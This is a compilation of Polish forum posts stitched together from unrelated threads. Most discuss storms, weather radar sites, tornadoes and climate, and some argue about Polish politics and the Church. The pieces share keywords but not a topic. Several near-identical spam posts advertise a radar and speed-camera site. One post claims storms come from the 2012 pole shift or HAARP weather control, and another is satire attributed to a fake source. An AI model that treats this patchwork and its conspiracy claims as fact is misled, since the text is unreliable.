Ostatnie awarie prądu w szpitalu
Ostatnie awarie prądu w szpitalu
GPZ to Główny Punkt Zasilania anie Przełącznik jak napisaliście. Te dwa
wyłaczenia awryjne to tylko przypadek, że wystąpiły w tak krótkim odstępie
czasu. Równie dobrze przez przez nastepne dwa lata może nie być takich
wyłaczeń.
O wiele gorsze są tak zwane przysiady napięcia, które występuja w sieci
energetycznej. Związane są na przykład z burzami lub innymi zjawiskami
atmosferycznymi. Nawet jak wyłącza się czy załącza duży prąd to też
występują chwilowe wahania napięcia. Tak bylo jest i będzie wszędzie nie
tylko w Polsce czy w Kielcach.
Energia dostarczana do Onkologii Kardiologii i do Szpitala przy
Grunwaldzkiej jest taka sama. Na jakođ tej energii narzeka tzlko ten ostatni
szpital. Nie ma dwoch zdan, ze powinni miec urzadzenie zwzczajowo zwane
UPSem.

     

  Jaka pogoda w LUBELSKIEM?
A jeśli kogoś interesuje pogoda w innych częściach Polski to gorąco polecam
znakomity serwis Instytutu Meteorologii i Gospodarki Wodnej.

Mapa radarowa - aktualne wielkości opadów rejstrowane przez kilka radarów
rozmieszczonych na terenie Polski. Aktualizacja co kilka minut (trzeba samemu
odświeżać):
www.imgw.pl/wl/internet/aktualna/com_r_i.html
I aktualne zjawiska burzowe:
www.imgw.pl/wl/internet/burza/burza.html
UWAGA! Do podanego czasu należy doliczyć 2 godziny!

  Radary pogodowe i fotoradary
Radary pogodowe i fotoradary
Uprawiając turystykę nie sposób obyć się bez porządnej prognozy pogody.
Radary meteorologiczne Polski pokazują on line sytuację pogodową naszego
kraju, deszcz, burze i inne zjawiska meteorologiczne.
Zajrzyj
emkr.strefa.pl
Dodatkowo aktualna mapa fotoradarów policyjnych rozmieszczonych w Polsce.
Pozdrawiam
EmKr

  zalało was?? a grad nie zabił???
temat wątku staje się i stanie sie aktualny
no troche pogrzmiało... ida burze z płn Polski miesjcami są dość gwałtowne i
tak bedzie do konca dnia- burze lokalne i gwałtowne z silnymi ulewami
wyładowanimi, podmuchami wiatru do ok 100 km/h no i nie wylkuczony grad.. ale
kulminacja tych zjawisk-jutro.

     

  zalało was?? a grad nie zabił???
basturk napisał:

> no troche pogrzmiało... ida burze z płn Polski miesjcami są dość gwałtowne i
> tak bedzie do konca dnia- burze lokalne i gwałtowne z silnymi ulewami
> wyładowanimi, podmuchami wiatru do ok 100 km/h no i nie wylkuczony grad.. ale
> kulminacja tych zjawisk-jutro.
>
wiecej tu:
tychymiasto.fm.interia.pl/Wiadomosci/wiadomosci.html

  Fotoradary policyjne i radary pogodowe
Fotoradary policyjne i radary pogodowe
Aktualna mapa fotoradarów policyjnych rozmieszczonych na terenie Polski oraz
przekaz on line radarów meteorologicznych pokazujących obszar naszego kraju(
deszcz, burze, inne zjawiska meteorologiczne) można uzyskać odwiedzając
stronkę
emkr.strefa.pl
Dla kierowców bardzo przydatne informacje !!!
Przyjemnych wrażeń
Pozdrawiam
EmKr

  zimowe opony - zbytek ( nie prowokacja )
> Popatrz sobie na mapie, na jakiej szerokosci geograficznej leza Stany
> Zjednoczone.
:) wiesz, u mnie bywalo tak, ze potrafilo spasc 25 cm sniegu w ciagu godziny.
ostanio co dwa dni burze sniezne, w polsce takich po prostu nie ma (tu gdzie
mieszkam wystepuje zjawisko nazywane "lake effect snow"). zapewniem cie, ze
pisze ze stanow. i uzywam opon calorocznych (choc zimowe tez tu sprzedaja). a
przy takich opadach slizgaja sie wszyscy. recepta? wolniejsza jazda, wyobraznia
i uwaga.

  Pogoda na dziś
Burze na południu Polski
"Według informacji Biura Prognoz Meteorologicznych we Wrocławiu,
burze z gradem wystąpić mogą w czwartek od godz. 17 - aż do
piątkowego popołudnia. Na obszarze całego regionu przewidywane są
opady deszczu, którym w czwartek po południu i w nocy towarzyszyć
będą burze, porywisty wiatr osiągający prędkość do ok. 75 km/godz.
oraz lokalnie grad.
Podobne zjawiska mogą wystąpić w woj. opolskim.

polskalokalna.pl/news/uwaga-bedzie-mocno-wialo-grzmialo-i-padalo,1140169

  XI te : Kościoła nie krytykuj w Katolandzie
XI te : Kościoła nie krytykuj w Katolandzie
Magdalena Środa, łącząc przemoc wobec kobiet z katolicyzmem, wywołała burzę,
która wskazuje na to, że niektórzy ludzie - i to niekoniecznie duchowni - do
dziesięciu przykazań chcieliby dodać jedenaste: Kościoła nie krytykuj.
Pełnomocnik rządu ds. równego statusu kobiet i mężczyzn na konferencji
poświęconej przemocy wobec kobiet w Sztokholmie miała powiedzieć m.in., że
katolicka w przeważającej mierze Polska ma problemy ze zjawiskiem stosowania
przemocy wobec kobiet, bo "katolicyzm nie wspiera bezpośrednio, ale też nie
sprzeciwia się przemocy wobec kobiet".I zaczęło się. Pani minister została
zaatakowana ze wszystkich stron. PiS zażądał jej odwołania za głoszenie
poglądów "w dużym stopniu opartych na nienawiści do chrześcijaństwa".
Zbigniew Kuźmiuk z PSL przekonywał, że wypowiedź Środy jest "obraźliwa dla
Kościoła katolickiego i katolików", zaś Sylwester Chruszcz z Samoobrony, że
minister "obraziła nie tylko katolików w Polsce, ale i na całym świecie". Z
kolei według Bronisława Komorowskiego (PO) Środa "przekroczyła dobry smak,
minęła się z prawdą i zaszkodziła Polsce".

fakty.interia.pl/kraj/news?inf=570692

  Meteorologiczne radary - fotoradary
Meteorologiczne radary - fotoradary
Aktualna mapa fotoradarów policyjnych rozmieszczonych na terenie Polski oraz
radary meteorologiczne ( burze, deszcz inne zjawiska pogodowe ) - zajrzyj

emkr.strefa.pl
Przyjemnych wrażeń
Pozdrawiam
EmKr

  Radary pogodowe - fotoradary
Radary pogodowe - fotoradary
Aktualna mapa fotoradarów policyjnych rozmieszczonych na terenie Polski oraz
przekaz on line radarów meteorologicznych pokazujących obszar naszego kraju(
deszcz, burze, inne zjawiska meteorologiczne) można uzyskać odwiedzając
stronkę

emkr.strefa.pl

Dla kierowców bardzo przydatne informacje !!!
Przyjemnych wrażeń
Pozdrawiam
EmKr

  Dzisiejki 127

Jest pieknie!
Upaly i burze byly juz zapowiadane od kilku dni, mozna bylo sie przygotowac,
np, zadbac o poprawne funkcjonowanie klimatyzacji ))

"Rekord temperatury lata w Polsce padł w lipcu 1921 r. w Pruszkowie k/Opola - 40,2 st.C. W ostatnich latach rekordową temperaturę, 39,8 st.C, pokazały termometry w Słubicach 1 sierpnia 1993 r."

Meteorolodzy ostrzegają przed ponowną falą upałów i gwałtownymi burzami, które mogą występować na terenie całego kraju od czwartku do soboty. Według klimatologów zjawiska te nie są jednak niczym niezwykłym dla polskiego lata.

  Kilka słów o pogodzie
Prognoza na Lato!
Przed nami wiosna i lato, o ile wiosna upłynie pod znkiem Upanej i bardzo
dynamicznej pogody.Już dzisiaj mogę zapowiedzieć bardzo gwałtowne zjawiska
atmosferyczne w postaci silnych burzm gradobić oraz trąb powietrznych. Analiza
modelowa map synoptycznych NOAA wykazała że lato w Polsce będzie pełne
niespodzianek w postaci wyżej wymienionych zjawisk. Pasjonatów lotnictwa
ostrzgam przed silnymi burzami ale jak sie zbierzemy w gronie liczniejszym
wytłumacze czego nalezy sie spodziewac i jak wstepnie prognozowac pogodę :)
POZDROWIENIA!!!

  Lewica i Demokraci łączą siły przed wyborami
Laazy, jestes jak sadze zbyt uwaznym obserwatorem polskiej sceny politycznej
zeby nie widziec, ze zacytuje RAZa raz jeszcze, ze "zza wychodzonej twarzy
Olejniczaka wygladaja twarze znacznie lepiej odzywionych towarzyszy". Lewica w
Polsce ma zarowno rodowod jak i baze materialna o charakterze poskomunistyczno-
nomenklaturowymi i to jest niezbity fakt.

A co do tego ze mam do lewicy stosunek krytyczny - sorry ale innego miec nie
moge. Ja w ogole nie wiem jak mozna miec lewicowe poglady, to po prostu jest
dla mnie niepojete.

A propos PiS propagandy, zaczepiasz zapewnie nie bez racji J. Kurskiego. Fakt
facet walnal z grubej rury i na dodatek kula w plot. Prosty chlopak, powinien
uczyc sie "obiektywizmu" od mediow Salonu, obiektywizmu polegajacego na
jednostronnym naswietlaniu okreslonych zjawisk (np. potepianie lustracji,
dekomunizacji), ich nachalnym promowaniu (np. "burze w szklance wody wokol
roznych marginalnych zjawisk typu gejoparady), czy tez wreszcie przemilczanie
(polska tradycja narodowa, niekoncesjonowani antykomunisci).

Wreszcie, stosowania szeptanej propagandy przedstawiajacej np. dzisiejszych
liderow prawicy jako oszolomow, klotnikow, ludzi malych i msciwych.
Czy nie mam racji?

  Uchwycili piorun, który uderza do góry
Uchwycili piorun, który uderza do góry
To nieprawda, że jest to rzadkie i nietypowe zjawisko. Kilka dni temu były dwie duże burze w nocy tu gdzie mieszkam czyli w Dallas w Teksasie. Zrobiłem wiele zdjęć piorunów. Wiele z nich było poziomo w chmurach lub po bardzo złożonych torach tak jak na zdjęciu w Gazecie. Rzecz w tym, że w ciepłym klimacie burze są bardziej intensywne i pioruny biją często parę na sekundę. W Polsce burze są spokojniejsze, mniej piorunów i mniej możliwości ich obserwacji.

  Nowicki: Zrobiło się za ciepło na śnieg do moic...
Nowicki: Zrobiło się za ciepło na śnieg do moic...
z dużym zainteresowaniem śledzę opinie na temat globalnego(rzekomego moim zdaniem) ocieplenia wygłaszane zarówno przez "ekologów" ,jak też przez szerokie grono naukowców.Poruszyła mnie wypowiedż prof.Nowickiego obraku anomalii pogodowych w poprzednich dekadach.Z okresu swojej młodości (po 1945r)pamiętam srogie zimy , ale też upalne lata z gwałtownymi burzami o znamionach cyklonów,które min.Nowicki zna tylko z doniesień prasowych.Dlatego też przytoczę opis ekstremalnych zjawisk atmosferycznych na polskim wybrzeżu w dniu 30 lipca 1936r opisanych w Dużym Formacie nr.29/837 z dnia 30.07.2009r p.t. "Ikar nad Oksywiem".Opisane wtym artykule zjawiska dotyczyły całego Pomorza , ale obejmowały też całą Polskę(Łemkowszczyzna,Kielce,Częstochowa,Piotrków Tryb.)i miały znamiona huraganu ,trąby powietrznej czy wręcz cyklonu właśnie i spowodowały olbrzymie szkody,powodzie ,gradobicie wielkości kurzych jaj przy temperaturach 40 st.C !!!.Podano też przykład burzy z 1923r?Więc mam pytanie,czy naukowcy nie sięgają do kronik z poprzednich dzisięcioleci wygłaszając swije opinie oparte rzekomo na podstawie badań, czy też doniesienia prasowe między innymi G.W. sa nieprawdziwe ( w co osobiście nie wierzę ,gdyż moje wspomnienia są podobne)?
pozdrawiam: jurekfor

  w Rzeszowie oberwanie chmury
pilchowa napisała:

> ee to może wy mi powiecie jaka będzie pogoda po 5 lipca na wschodzie Polski w
> okolicach Włodawy???

upały, nawet do 34*C. a jak takie upały - to wiadomo - możliwe burze i inne
gwałtowne zjawiska. od 8.07 ochłodzenie (nawet o 10*) i przelotne deszcze. a w
ogóle to lipiec nie ma być tak ciepły jak czerwiec.

jak to przy prognozach długoterminowych - sytuacja może się jeszcze zmienić, ale
pamiętaj - najważniejsza jest pogoda ducha ;)

  Pogoda na Sezon Letni 2008 !! Kiedy jechac??
Pogoda na Sezon Letni 2008 !! Kiedy jechac??
Lipiec z upałami i częstymi burzami
Nadal możemy liczyć na wiele bardzo gorących dni. Średnia miesięczna
temperatura nadal powyżej normy wieloletniej, a to oznacza, że
będzie cieplej niż zazwyczaj w lipcu. Po niespokojnym czerwcu nowy
miesiąc nie przyniesie większej zmiany w pogodzie. Nadal będzie
bardzo burzowo, parno i duszno. Burze mogą być bardzo gwałtowne i
powodować zniszczenia, podobnie jak latem 2007 roku. Zagrożenie mogą
stanowić trąby powietrzne, ale będą to jak zwykle zjawiska jedynie
lokalne.

Sierpień gorący i bardzo suchy
Ostatni miesiąc wakacji przyniesie wiele gorących dni, z kilkoma
falami bardzo silnych upałów. Nie musimy się obawiać tak wielu burz
jak w lipcu. Możemy liczyć na dużą ilość słonecznych i suchych dni z
błękitnym niebem. Istnieje ryzyko suszy, która najbardziej może się
dać we znaki mieszkańcom południowych i wschodnich dzielnic Polski.

Informacja z www.twojapogoda.pl/

  Takiej powodzi nigdy dotąd tu nie było
co na to meteorologia?
Mysle, ze srodki unijne niewiele by tu nie daly. Na zachodzie skutki
takich nawalnic byly by podobne. Zjawiska tego typu sa tak
ekstremalne, ze ich skutki szczegolnie w ternach gorzystym i
pagorkowatym sa bardzo niebezpieczne. O tym, ze bedzie padac
wiadomo bylo z grubsza 5 dni wczesniej. Niestety nic o tym sie nie
mowilo bo i nikt nie mogl przewidziec ze takie czy inne miasto
bedzie zagrozone. Dzis nie da sie przewidziec z dokladnoscia do
kilometrow gdzie tak gwaltowana burza wystapi a jedynie, ze takie
zjwiska beda wystepowac. To co mozna to jedynie na okolo godzine lub
mniej przed to widziec taka burze na radarach bo praktycznie cala
Polska a w szczegolnosci Podkarpacie jest pokryte takimi systemami.
Niestety wyniki z radarow sa publikowane w necie co godzine i to z
duzym opoznieniem. To jest prawdziwym skandalem bo system powstaly z
naszych podatkow powinnien byc dostepny dla obywateli a przede
wszytskim dla sluzb aby mogly wczesniej reagowac.
Jesli zas chodzi o strone meteorologiczna to niestety tego typu
zjawiska beda coraz czsciej wystepowac bo klimat nasz sie ociepla.
Co do tego nie ma dzis watpliwosci.

Aktulane dane meteorologiczne z okolic Strzyzowa:
www.igf.fuw.edu.pl/meteo/stacja/wykresy.php

  Ciekawostki przyrodnicze ......


"Podczas śnieżycy niebo może się błyskać. Niewielu z nas wie o zaskakującym zjawisku grzmotów i błysków podczas intensywnych opadów śniegu. Zasada powstawania burz śnieżnych jest niemal identyczna jak burz w lecie, kiedy to z chmury burzowej o nazwie cumulonimbus pada ulewny deszcz i powstają burze. Zimą jednak na wysokości kilku kilometrów nad ziemią temperatury są ujemne, więc kropelki wody tworzące ulewny deszcz przeistaczają się w śnieżynki i w takiej formie opadają potężnymi ilościami na ziemię powodując śnieżyce. Bijące pioruny, czyli wyładowania atmosferyczne, powstałe w skutek różnicy temperatur nad powierzchnią ziemi potęgują zjawisko, które wówczas nazywane jest już nie śnieżycą a burzą śnieżną. Zjawisko to w Polsce występuje dość rzadko. Groźne burze śnieżne na Syberii zwane są purga lub buran. Najsilniejsze burze śnieżne występują jednak na Antarktydzie, gdzie wiatr osiąga siłę huraganu. W Polsce silne burze śnieżne przeszły m.in. 30 stycznia 2004 roku nad Łodzią, a kilka godzin później jeszcze silniejsze na zachód od Lublina na Lubelszczyźnie. W ciągu kilku minut intensywne opady śniegu spowodowały, że wszystkie ulice Łodzi zostały zasypane. Gwałtownym opadom towarzyszyły wyładowania atmosferyczne i silne grzmoty oraz porywisty wiatr. Może wyda się to zaskakujące, ale burza nie jest zjawiskiem występującym tylko w lecie. Prawie każdy gwałtowny spadek temperatury o więcej niż 5 stopni w ciągu kilku minut musi być poprzedzony wyładowaniem elektrycznym. Dzieje się tak nawet, gdy temperatura wynosi minus 80 stopni." www.twojapogoda.pl

  Święty Roch - wycinka do kontroli
Za tyle trudu by udowodnic, ze swiat ma ciut inny kolor niz ten pokazywany w Gazecie - dziekuje.
Teraz dopiero zaczynam rozumiec sygnaturke "Azp" w ktorej pisze, iz: ":...a na twoim miejscu (...) Rudnickiemu tak bym nie ufal", wystarczy tylko podmienic "Rudnickiego" na "Gazete" a reszta pozostaje ta sama.
Zdjecia, pewnie ze wzgledu na po-burzowy klimat, w jakiejs ciekawej, bo dramatycznej, scenerii.
Bogu dzieki zielen, ktora zostala po przecince, jest ciagle jeszcze na tyle bogata by tworzyc estetyczny "dwuglos" gdzie naturalne formy przyrody podbijaja wdziek "ciut sztywnej", jak na polska odmiane Art Deco przystalo, architektury kosciola.
A poza tym Kosciol Sw. Rocha, swoja ekspozycja, forma i niemal abstrakcyjnym minimalizmem to ciagle piekne zjawisko.
Szacuneczek...

  Wolność (brzydkiego) słowa
Tego,wlasnie ,Wasyl,nie znosze...-porownywnia tej "zacofanej" Polski
do starej Unii,co jest ,jedna z dziennikarskich manii w mediach...
"Poziom kultury i odpowiedzialnosci za slowo,jak w starej Unii" ?-
Nie zaprzecze,ze Polska i Polacy maja swoje specyficzne przywary i
wady,a swiatek polityczny pozbawia sensu lekture "Podrozy Guliwera".-
Warto, jednak, docenic jedno -"otwartosc" sytuacji i
zywa,jeszcze,wolnosc slowa...-wszyscy wszystko wiedza i pewne sprawy
i zjawiska nazywane sa "po imieniu".-"Poziom kultury i
odpowiedzialnosci" (uzyje fancuskiego przykladu)polega , po
prostu,na dlugim czasie trwania systemu , co pozwolilo
na "normalizacje" spoleczenstwa(celowo uzywam slowa "normalizacja" -
w odniesieniu do pewnego generala).-To,co w Polsce nazywane jest
skandalem i wywoluje ogolna burze,w "demokratycznej" Francji jest
zjawiskiem kamuflowanym , ubranym w politycznie poprawna
frazeologie.-Zyje,na szczescie,wolna prasa, w postaci "Canard
enchaine" czy "Marianne",ale ogol dziennikarskiego swiata moze
liczyc na spoleczna inercje i bezwladnosc,co, chyba, nie
jest,jeszcze,zauwazalne w Polsce.-Watpie,czy rzadzacy,w Polsce
UKLAD ,moglby sobie,zupelnie bezkarnie,skazac na powolna i okrutna
smierc tysiace wspolobywateli,wciskac narodowi kit,ze chmura
czernobylska,czy zagrypione ptaki zatrzymuja sie ,akurat,na
ukrainskopolskiej granicy.-Tutaj, tez,maja miejsce "Papaly" i
inne "Olewniki",gina "zbyt ciekawscy" ludzie,prowadzi sie
inwigilacje internetu i podsluchy...no ,tak -chodzi o stara,"utarta"
demokracje,o "znormalizowane" spoleczenstwo i media...

  Łowcy burz ostrzegają: Nadchodzą burze, niewykl...
Łowcy burz ostrzegają: Nadchodzą burze, niewykl..
Wbrew temu co ktoś tu napisał, że trąby są zjawiskiem niezwykle
rzadkim w Polsce, tak nie jest do końca! Każdego lata a nie jak tu
napisano raz na ileś tam lat pojawiają się w Polsce trąby
powietrzne. Tak było w poprzednim roku i jeszcze wczesniej.
Oczywiście nie są to tak silne zjawiska jak w sławetnej Alei tornad
w USA, ale są każdego roku praktycznie! Tylko o tym się nie pisze...

  Gradobicie nad Krakowem - zobacz zdjęcia!
No , niestety Panie Frankk , niewiele więcej , niż mżawka.... Lokalne
burze to dość typowe zjawisko w czerwcu, co dla meteomasturbatorów
może wydawać się niezrozumiałe. Polska , to na szczęście , nie Kansas
, a na wymażoną przez Łowców Kóz powtórkę powodzi A.D 1997 statystyka
każe jeszcze trochę poczekać ;)

  Gwałtowne burze przejdą nad Polską
Meteo expercie! Radar wyładowań ma to do siebie, że czasem pokazuje
wyładowania w centrum wyżu, a nawet podczas silnej inwersji
osiadania. Taka specyfika. Obraz z detektorów wyładowań stanowi
narzędzie tylko pomocnicze. Podniecanie się jego obrazem jest
błędem. W warunkach klimatu Polski gwałtowne burze w lipcu są
zjawiskiem normalnym i wypisywanie bzdur o "multikomórce" (co to w
ogóle jest???) nadawanie takiej informacji tonu o rzekomym
nadchodzącym katakliźmie jest specjalnością łowców burz (tych
polskich). Jak zapewne wiesz także jako meteo expert opad
konwekcyjny z reguły jest intensywny (suma opadów dochodzi często
nawet do 100 mm czyli normy miesięcznej) i to też jest normą
klimatyczną Polski. I na koniec apel do "Wyborczej": naprawdę
szczerze z całego serca życzę zaprzestania współpracy z łowcami burz
w Polsce. Podniesie to rzetelność informacji przekazywanych przez
ten portal. Że są oni fanatykami w łowieniu każdego wyładowania nie
wątpię, że są specjalistami już tak.

  Gwałtowne burze przejdą nad Polską
Gwałtowne burze przejdą nad Polską
Czy naprawdę nie ma w Polsce bardziej autorytatywnej instytucji do ogłaszania
takich rewelacji niż grupa miłośników meteorologii? Rozumiem, że "łowcy burz"
brzmi chwytliwiej niż IMGW, czy tym podobne, ale informowanie o groźnych
zjawiskach naturalnych, które mogą mieć poważne konsekwencje dla ludzi należy
chyba jednak oprzeć na rzetelniejszej podstawie niż zabawa hobbysty.

  Załamanie pogody: silny wiatr i burze na połudn...
Załamanie pogody: silny wiatr i burze na połudn...
chciałbym zapytać kogoś kto zna się na meteorologii - czy trzy burze jednego
wieczoru nad jednym obszarem to częste zjawisko meteorologiczne w Polsce czy
raczej coś niezwykłego? Coś takiego zdarzyło się w moim mieście pod koniec
sierpnia - naprawdę niezwykłe przeżycie...

  Walczą ze skutkami trąby powietrznej
Walczą ze skutkami trąby powietrznej
W imieniu nieoficjalnej organizacji współczujemy poszkodowanym z terenów
dotkniętych skutkami tornada klasy F2.
Film zamieszczony jest wg mnie dobrym materiałem, tylko zastanawia mnie fakt
dlaczego w Polsce przyjęło się mówić że to trąba powietrzna a nie tornado.
Jeżeli są osoby które ścigają burze i inne groźne zjawiska zapraszam w imieniu
organizacji do przyłączenia się.
Więcej info na www.stormchaseres.spotter.pl

  Polscy Łowcy Burz - pierwsi w Polsce!!
Polscy Łowcy Burz - pierwsi w Polsce!!
Napewno każdy z nas widział burzę lub inne groźne zjawisko
meteorologiczne tj - ulewy(groźba powodzi),śnieżyce(groźba
komunikacyjnego paraliźu),wichury(w tym także trąby powietrzne oraz
tornada.Wielu ludzi bardzo pociąga widok błyskawicy bądź inna
anomalia pogodowa, dlatego zawiązujemy stowarzyszenie Polskich
Łowców Burz Naszym zadaniem będzie (ruszamy oficjalnie 1 Stycznia
2008)śledzić, dokumentować oraz ukazywać wszystko to co żywioł
pozostawił za sobą. Chcemy być tam gdzie dzieje się lub będzie się
działo....pod względem meteo.Chcemy ostrzegać ludzi na bieżąco
poprzez ostrzeżenia w tv (na żywo - niedługo przed np groźną burzą),
nauczać - czyli jak się zachować w czasie burzy czy wichury, a także
ukazywać wszystkim straty materialne spowodowane kataklizmem.

Bardzo serdecznie zapraszam do współpracy - - - - Jarosław T

www.lowcyburz.pl/forum

  Smiercionosne burze w Polsce, projekt Haarp i 2012
Smiercionosne burze w Polsce, projekt Haarp i 2012
Juz nawet w dzisiejszych Faktach powiedzieli, ze klimat Polski
zamienia sie pomalu w klimat odpowiadajacy tropikom. Czyzby
rzeczywiscie cos w tym 2012 roku bylo? Wiemy wszyscy ze tych koncow
swiata mialo juz byc kilka i wszystkie okazaly sie bajka, ale takimi
przeslankami i powoli sprawdzajacymi sie zapowiedziami moze sie
poszczycic jedynie ten rom 2012. Juz nawet pomijajac Majow, ktorzy
przebiegunowanie ziemi (juz kolejne) obliczyli wlasnie na nasz 2012,
to ksiadz Popieluszko mawial, ze nadejda czasy kiedy w Polsce beda
nam rosnac pomarancze za oknem. Nie chodzi tutaj o typowy koniec
swiata ale wlasnie o to przebiegunowanie Ziemi, w wyniku ktorego
nastapi wiele katastrof (topnienie lodowcow, wylew wod). Moze data
2012 jest obliczona poprawnie, a moze nie, ale ze jest cos na rzeczy
z tym klimatem to chyba wiekszosc z nas widzi. Rozne zjawiska
atmosferyczne pojawiaja sie tam, gdzie nie ma prawa ich byc;
charakterystyczne zjawiska dla danych terenow przybieraja
niespotykana forme i sile; nawet te wczorajze nieszczesne Mazury na
ktorych takiej tragedii jeszcze nie bylo, albo ta piekna ale dziwna
burza w Warszawie. Jak sadzicie? A moze nie chodzi tutaj o 2012
tylko projekt HAARP, ktory moze sterowac pogoda - amerykanski rzad
jest podejrzewany o wywolanie huraganu Katrina (ktory jak sie
pozniej okazalo mial nie jedno, jak naturalnie powinno byc, ale dwa
centra - "oka", co jest kompletnie nienaturalne). Dla
zainteresowanych podsylam link www.paranormalne.pl/index.php?
showtopic=387

  Rozpoczęcie sezonu motocyklowego na Jasnej Górze
Kwiecień bardzo ciepły i słoneczny

Po prawdziwie wiosennym marcu w kolejnym miesiącu przyroda będzie się odradzać
do życia tak, jakby był już maj. Kwiecień minie więc pod znakiem temperatury
znacznie wyższej od tej, jaka normalnie powinna panować w tym miesiącu. Często
zdarzać się będą przekroczenia 20 stopni, zdarzą się również dni z temperaturą
przekraczającą 25 stopni, co szczególnie powinno ucieszyć tych, którzy nie będą
się mogli doczekać lata. Bardzo ciepła pogoda ma jednak swoje minusy, którymi w
kwietniu będą dla odmiany bardzo słabe opady, co może wpłynąć na wegetację
roślin, głównie w województwach południowych i centralnych Polski. Padać nie
będzie całymi dniami i to może być powodem do zmartwień. Są jednak też plusy,
ponieważ mniej opadów i wysoka temperatura to częstsze rozpogodzenia. Po bardzo
ciepłych dniach będą nadchodzić pierwsze w tym roku burze, ale będą to zjawiska
jedynie miejscowe.

Żródło: www.twojapogoda.pl

Dam rade ;) oby się nie pomylili :)

  Biały szkwał: czegoś takiego jeszcze nie było
Mechanizm powstawania burz uniemożliwia ich długoterminowe prognozowanie. Można
tylko mówić o prawdopodobieństwie wystąpienia. Nawet posiadanie przez synoptyka
wiedzy o mechanizmie i miejscu powstawania szkwału nie przekłada się na
skuteczne ostrzeżenie – nie istnieją w Polsce stacje radiowe podające rzetelne,
lokalne i natychmiastowe prognozy.
Kolejna kwestia - monitorowanie "realtime". Dane meteo podawane w internecie
przez IMGW są dosyć ubogie - np. mapki z opadami pojawiają się co godzinę i z
dużym opóźnieniem. www.imgw.pl/wl/internet/zz/pogoda/radary.html
Lepiej jest z wykrywaniem wyładowań burzowych:
www.imgw.pl/wl/internet/zz/pogoda/_burze/burze_zbiorcze.html
Pozostają jeszcze zdjęcia satelitarne, np. NOAA i Meteosat.

Należałoby więc podnieść poziom swojej wiedzy na temat tych zjawisk. Zbliżanie
się lub zamykanie dookoła nas "czarnej chmury" z wyładowaniami, nadzwyczajna
duchota w powietrzu, pojawienie się wiatru w kierunku chmury, a w końcu wał
chmur rotorowych (arcus), czasami z tubą (małą trąbą powietrzną) – takie objawy
mówią o bliskim, w ciągu paru minut możliwym uderzeniu szkwału.

  Apel WHO o pilne działania
Śpijcie dalej :(((
Obserwowane zjawiska i ich konsekwencje

Już teraz, przy podniesieniu się średniej temperatury o niecałe 0,8°C obserwujemy szereg niespotykanych wcześniej zjawisk: rekordowe upały, przesuwanie się stref klimatycznych, topnienie lodowców, huragany, rozmarzanie wiecznej zmarzliny, burze i nawałnice, susze i powodzie. Przyjrzyjmy się tym zjawiskom, dalszym trendom i ich następstwom.

Nawet w Polsce odnotowujemy nasilanie się nietypowych zjawisk, takich jak ekstrema temperaturowe, burze, nawałnice, powodzie czy trąby powietrzne. Polska jest niewielkim krajem, nie znającym prawdziwie ekstremalnych zjawisk, takich jak huragany, tornada, lawiny błotne czy prowadzące do pustynnienia susze, ale te zjawiska nasilają się na całym świecie na naszych oczach.

Portale pogodowe (np. www.twojapogoda.pl) publikują coraz więcej takich wiadomości. Przy odrobinie świadomości można połączyć te zdarzenia w bardzo niepokojącą układankę...

Na nic się zda chowanie głowy w piasek :(((

  Na antenie Radia Maryja zachęcano do udziału w ...
Cwaniak i hipokryta...
...to właśnie Rydzyk. Sam robi najwięcej by podzielić społeczeństwo.
Wyuczył tych biednych starszych ludzi małpich gestów (pokazywanie języka do
kamery). Przecież ci ludzie często nie mają pojęcia jakie zjawiska społeczno
polityczne zachodzą wokół nich, wielu z nich z trudem się podpisuje a ten
hipokryta i cały jego sztab bezczelnie wykorzystuje dziecięcą naiwność
starców.Kto sieje wiatr ten zbiera burzę. Zdrowe społeczeństwo w Polsce nie
takie wrzody potrafiło wygoić.

  Nad południową Polską szaleją gwałtowne burze
Nad południową Polską szaleją gwałtowne burze
Widzę, że niektórzy nie znają się na zjawisku jakim jest burza. Czytam te wasze
krytyczne komentarze mówiące o pięknej pogodzie w wielu regionach, w których
miały przejść dziś nawałnice z gradem i z wiatrem i niestety - muszę to tak ująć.
Burza to zjawisko lokalne, punktowe. To, że w jednym miejscu jest burza z
oberwaniem chmury i gradobiciem nie musi oznaczać, że kilkadziesiąt kilometrów
dalej będzie się działo to samo. Wręcz jest przeciwnie - często przez cały dzień
nic się nie dzieje, świeci słońce, no może gdzieś z boku zagrzmieć. Taka jest
natura burz - mogą wywołać gwałtowne wiatry, opady, grad na bardzo małym
obszarze i mogą przez to zrobić spore szkody, wywołać powódź, zniszczyć kilka
wsi lub miasto. Szczególnie punktowym zjawiskiem jest trąba powietrzna, która
pojawia się w naszym kraju podczas najsilniejszych burz na kilka minut i sieje
spustoszenie na terenie jednej, może dwóch - trzech gmin.
To że Polscy Łowcy Burz informują o nadchodzących groźnych zjawiskach burzowych,
to nie znaczy, że wystąpią wszędzie, gdzie istnieje zagrożenie. Z burzami nie ma
żartów - przekonali się chociażby w zeszłym roku mieszkańcy gminy Kłomnice czy
też ludzie wypoczywający na mazurskich jeziorach w pewny, ładnie się
zapowiadający sierpniowy dzień w 2007 roku.

  Nadal uważacie, że z klimatem jest wszystko OK?
Polska: ciepło w lecie
Do niecodziennego zjawiska klimatycznego doszło obecnego lata w Europie: jest
ciepło. Co dziwniejsze, co jakiś czas pojawiają się gwałtowne, letnie burze. Z
upałów i od gradu znowu, jak co rok, zginie kilkanaście osób, za co odpowiadają
amerykańscy imperialiści.

Źródło: www.lewactwo.pzpr

  Uchodźcy ze zniszczonej przez huragan Luizjany ...
>Fakt , w NIEKTÓRYCH, w PRZEWAŻAJĄCEJ WIĘKSZOŚCI takich śladów nie ma.

No to popatrz sobie na obrazki. Może co pamięć wróci...:

www.dawneklodzko.info/index.php?kat=klodzko_dzisiaj&side=powodz_1997
www.opole.pl/miasto/powodz-galeria.php?gal=powodz.inc&col=3
miasta.gazeta.pl/wroclaw/5,44548,1501462.html
To tak na chybił - trafił. Galerie pierwsze z brzegu. Uważasz, ze to nic. No to
sobie uważaj. Nie mam zamiaru cię przekonywać. Uważaj sobie co chcesz. I oglądaj
zdjęcia. Na tych z Polski nie ma uzbrojonych band.

>Trochę czasu było żeby sie przygotować na falę powodziową no i na dodatek nie
> przeszkadzał w tym żaden huragan.

A ile czasu mieli Amerykanie aby przygotować się na kataklizmu? Uderzył grom z
jasnego nieba? Niespodzianka? A może NO leży gdzieś, gdzie huragany to zjawisko
atmosferyczne wystepujące z taką samą czestotliwością jak burze śnieżme?
Nikt się nie spodziewał tropikalnego wiatru nad Zatoką Meksykańską? Nigdy tam we
wrześniu nie wiało? Cud? Pech? Siedem plag egipskich?

